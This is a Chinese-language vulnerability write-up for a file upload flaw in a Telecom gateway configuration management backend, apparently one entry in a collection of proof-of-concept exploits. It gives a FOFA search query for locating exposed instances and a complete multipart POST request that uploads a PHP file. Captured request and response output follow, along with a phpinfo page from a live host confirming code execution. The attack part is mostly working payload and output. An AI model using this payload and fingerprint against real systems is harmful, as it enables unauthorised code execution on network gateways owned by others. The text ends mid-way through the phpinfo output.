

# D10-1电信-网关配置管理系统后台-文件上传

## 漏洞描述：

电信[网关配置](#)管理系统后台 /manager/teletext/material/upload.php 接口存在文件上传漏洞，攻击者可以利用文件上传漏洞获取系统权限。

网站图片：



## 网络测绘：

fofa语法：

FOFA: body="img/login\_bg3.png" && body="系统登录"

## 漏洞复现：

payload:

```
POST /manager/teletext/material/upload.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="fileToUpload"; filename="a.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="type"

img
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="w"

1280
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="h"

720
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="userid"

10003xx
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="appid"

5
-----WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="uploadtime"

-----WebKitFormBoundaryssh7UfnPpGU7BXfK--
```

效果图:

Request

1 POST /manager/teletext/material/upload.php HTTP/1.1

2 Host [redacted]

3 Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU78XfK

4 Upgrade-Insecure-Requests: 1

5 Accept-Encoding: gzip

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

7

8 -----WebKitFormBoundaryssh7UfnPpGU78XfK

9 Content-Disposition: form-data; name="fileToUpload"; filename="a.php"

10 Content-Type: image/png

11

12 <?php:phpinfo();?>

13 -----WebKitFormBoundaryssh7UfnPpGU78XfK

14 Content-Disposition: form-data; name="type"

15

16 img

17 -----WebKitFormBoundaryssh7UfnPpGU78XfK

18 Content-Disposition: form-data; name="w"

19

20 1280

21 -----WebKitFormBoundaryssh7UfnPpGU78XfK

22 Content-Disposition: form-data; name="h"

23

24 720

25 -----WebKitFormBoundaryssh7UfnPpGU78XfK

26 Content-Disposition: form-data; name="userid"

Responses 63bytes / 44ms

1 HTTP/1.1 200 OK

2 Date: Thu, 14 Dec 2023 17:19:24 GMT

3 Server: Apache/2.2.15 (CentOS)

4 X-Powered-By: PHP/5.3.3

5 Access-Control-Allow-Origin: \*

6 Connection: close

7 Content-Type: application/json; charset=utf-8

8 Content-Length: 63

9

10 {"ret":0,"ret\_msg":"success","url":"\\/xmedia\\material\\a.php"}

回显了完整路径  
验证

← → ↻

⚠ 不安全 1 [redacted] media/material/a.php

🔍


☆

🔧

📄

🌐

PHP Version 5.3.3



System	Linux localhost.localdomain 2.6.32-696.3.1.el6.x86_64 #1 SMP Tue May 30 19:52:55 UTC 2017 x86_64
Build Date	Mar 22 2017 12:27:34
Configure Command	./configure '--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu' '--target=x86_64-redhat-linux-gnu' '--program-prefix=' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--cache-file=/config.cache' '--with-libdir=lib64' '--with-config-file-path=/etc' '--with-config-file-scan-dir=/etc/php.d' '--disable-debug' '--with-pic' '--disable-rpath' '--without-pear' '--with-bz2' '--with-exec-dir=/usr/bin' '--with-freetype-dir=/usr' '--with-png-dir=/usr' '--with-xpm-dir=/usr' '--enable-gd-native-ttf' '--without-gdcm' '--with-gettext' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr' '--with-openssl' '--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU' '--enable-exif' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem' '--enable-sysvshm' '--enable-sysvmsg' '--without-kerberos' '--enable-ucd-snmp-hack' '--enable-shmop' '--enable-calendar' '--without-sqlite' '--with-libxml-dir=/usr' '--enable-xml' '--with-system-tzdata' '--with-apxs2=/usr/sbin/apxs' '--without-mysql' '--without-gd' '--disable-dbm' '--disable-dba' '--without-unixODBC' '--disable-pdo' '--disable-xmlreader' '--disable-xmlwriter' '--